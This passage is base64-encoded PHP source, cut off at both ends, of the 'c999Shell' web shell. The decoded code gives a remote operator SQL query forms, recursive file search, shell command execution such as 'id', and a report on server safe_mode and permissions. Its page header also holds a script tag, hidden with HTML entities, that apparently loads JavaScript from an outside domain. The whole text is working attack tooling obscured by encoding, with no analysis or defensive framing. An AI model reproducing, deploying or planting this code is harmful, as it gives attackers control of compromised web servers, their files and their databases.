iAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOwogfQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkKewpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKQp7CiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9CiBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAkYXJyYXkgPSBhcnJheSgpOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIHJldHVybiAkYXJyYXk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQp7CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUsJHNvY2spCnsKIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9CiBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsKIHJldHVybiAkZXJyb3I7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQp7CiBnbG9iYWwgJHN1Ym1pdCwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQogaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkKIHsKICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5OXNoX3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX2FjdCB2YWx1ZT1xdWVyeT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsKICBpZiAoJHRibF9zdHJ1Y3QpCiAgewogICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsKICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIsK7IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LmM5OTlzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9CiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgfQogfQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQp7CmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpCnsKICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiLmFkZHNsYXNoZXMoJGRiKS4iYDsiOwogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkKewpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpCnsKICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsKICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKIC8qYXJyYXkgYXJyYXkoKQogewogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksCiAgIk1FVEhPRDEiLi4uCiAgLi4uCiB9CiBpZiBvdXRwdXRfdHlwZSA9PSAwLCBubyBvdXRwdXQsCiBpZiBvdXRwdXRfdHlwZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3IKIGlmIG91dHB1dF90eXBlID09IDIsIG91dHB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucwogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpdGggY29udHJvbC1idXR0b25zCiAqLwogJHR5cGVzID0gYXJyYXkoCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksCiAgIlNIT1ciPT5hcnJheSgyLDEpLAogICJERUxFVEUiPT5hcnJheSgxKSwKICAiRFJPUCI9PmFycmF5KDEpCiApOwogJHJlc3VsdCA9IGFycmF5KCk7CiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogaWYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkKIHsKICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5cGVzWyRvcF07CiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7CiAgaWYgKCR0eXBlc1skb3BdID09IDIpCiAgewogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikKICAgIHsKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7CiAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9CiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7CiAgICB9CiAgIH0KICB9CiB9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OTlmc2VhcmNoIikpCnsKZnVuY3Rpb24gYzk5OWZzZWFyY2goJGQpCnsKIGdsb2JhbCAkZm91bmQ7CiBnbG9iYWwgJGZvdW5kX2Q7CiBnbG9iYWwgJGZvdW5kX2Y7CiBnbG9iYWwgJHNlYXJjaF9pX2Y7CiBnbG9iYWwgJHNlYXJjaF9pX2Q7CiBnbG9iYWwgJGE7CiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpCiAgewogICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7CiAgIGlmIChpc19kaXIoJGQuJGYpKQogICB7CiAgICAkc2VhcmNoX2lfZCsrOwogICAgaWYgKGVtcHR5KCRhWyJ0ZXh0Il0pIGFuZCAkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9kKys7fQogICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2M5OTlmc2VhcmNoKCRkLiRmKTt9CiAgIH0KICAgZWxzZQogICB7CiAgICAkc2VhcmNoX2lfZisrOwogICAgaWYgKCRib29sKQogICAgewogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpCiAgICAgewogICAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7CiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9CiAgICAgIGlmICgkYVsidGV4dF9yZWdleHAiXSkgeyRib29sID0gZXJlZygkYVsidGV4dCJdLCRyKTt9CiAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30KICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQogICAgICBpZiAoJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZisrO30KICAgICB9CiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICB9CiAgIH0KICB9CiB9CiBjbG9zZWRpcigkaCk7Cn0KfQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQovL1NlbmRpbmcgaGVhZGVycwpAb2Jfc3RhcnQoKTsKQG9iX2ltcGxpY2l0X2ZsdXNoKDApOwpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkKewogZ2xvYmFsICRnemlwZW5jb2RlLCRmdDsKIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpCiB7CiAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgQG9iX2VuZF9jbGVhbigpOwogIEBvYl9zdGFydCgib2JfZ3pIYW5kbGVyIik7CiAgZWNobyAkdjsKICBAb2JfZW5kX2ZsdXNoKCk7CiB9Cn0KZnVuY3Rpb24gYzk5OXNoZXhpdCgpCnsKIG9ucGhwc2h1dGRvd24oKTsKIGV4aXQ7Cn0KaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7CmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wIiwgRkFMU0UpOwpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsKaWYgKGVtcHR5KCR0bXBkaXIpKQp7CiAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsKIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9Cn0KJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOwokdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOwppZiAoc3Vic3RyKCR0bXBkaXIsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdG1wZGlyIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikKewogJHNhZmVtb2RlID0gVFJVRTsKICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9cmVkPk9OIChzZWN1cmUpPC9mb250PiI7Cn0KZWxzZSB7JHNhZmVtb2RlID0gRkFMU0U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30KJHYgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7CmlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7JG9wZW5iYXNlZGlyID0gVFJVRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7fQplbHNlIHskb3BlbmJhc2VkaXIgPSBGQUxTRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQokc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMoJHNvcnQpOwppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30KJHNvcnRbMV0gPSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsKJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsKQGluaV9zZXQoImhpZ2hsaWdodC5iZyIsJGhpZ2hsaWdodF9iZyk7IC8vRkZGRkZGCkBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsgLy8jRkY4MDAwCkBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCCkBpbmlfc2V0KCJoaWdobGlnaHQuaHRtbCIsJGhpZ2hsaWdodF9odG1sKTsgLy8jMDAwMDAwCkBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsgLy8jMDA3NzAwCkBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAwMAppZiAoIWlzX2FycmF5KCRhY3Rib3gpKSB7JGFjdGJveCA9IGFycmF5KCk7fQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7CiRkaXNwX2Z1bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7CiR1ZCA9IHVybGVuY29kZSgkZCk7Cj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBwaHBzaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1mYWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjQjdCMkIwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0eWxlPjwvaGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVpZ2h0PSIxNSIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHA+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxiPjxTQ1JJUFQgU1JDPSYjeDY4JiNmdGhmdGhmamd5ayYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI3gyZSYjeDcwJiN4NzImI3g2OSYjeDc2JiN4NjMmI3gzMCYjeDY0JiN4NjUmI3gyZSYjeDYzJiN4NmYmI3g2ZCYjeDJmJiN4NjkmI3g2ZCYjeDYxJiN4NjcmI3g2NSYjeDczJiN4MmYmI3g3OSYjeDYxJiN4N2EmI3gyZSYjeDZhJiN4NzM+PC9TQ1JJUFQ+Yzk5OVNoZWxsIHYuIDw/cGhwIGVjaG8gJHNodmVyOyA/PjwvYj48L2ZvbnQ+PC9hPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+PHRyPjx0ZD48cCBhbGlnbj0ibGVmdCI+PGI+U29mdHdhcmU6Jm5ic3A7PD9waHAgZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+dW5hbWUgLWE6Jm5ic3A7PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2luKSB7ZWNobyB3b3Jkd3JhcChteXNoZWxsZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7fSBlbHNlIHtlY2hvIGdldF9jdXJyZW50X3VzZXIoKTt9ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+U2FmZS1tb2RlOiZuYnNwOzw/cGhwIGVjaG8gJGhzYWZlbW9kZTsgPz48L2I+PC9wPjxwIGFsaWduPSJsZWZ0Ij48P3BocAokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CmlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fSBlbHNlaWYocmVhbHBhdGgoJGQpKSB7JGQgPSByZWFscGF0aCgkZCk7fQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KJGQgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7CiRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOwokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOwokaSA9IDA7CmZvcmVhY2goJHBkIGFzICRiKQp7CiAkdCA9ICIiOwogJGogPSAwOwogZm9yZWFjaCAoJGUgYXMgJHIpCiB7CiAgJHQuPSAkci5ESVJFQ1RPUllfU0VQQVJBVE9SOwogIGlmICgkaiA9PSAkaSkge2JyZWFrO30KICAkaisrOwogfQogZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2I+PC9hPiI7CiAkaSsrOwp9CmVjaG8gIiZuYnNwOyZuYnNwOyZuYnNwOyI7CmlmIChpc193cml0YWJsZSgkZCkpCnsKICR3ZCA9IFRSVUU7CiAkd2R0ID0gIjxmb250IGNvbG9yPWdyZWVuPlsgb2sgXTwvZm9udD4iOwogZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7Cn0KZWxzZQp7CiAkd2QgPSBGQUxTRTsKICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+IjsKIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2x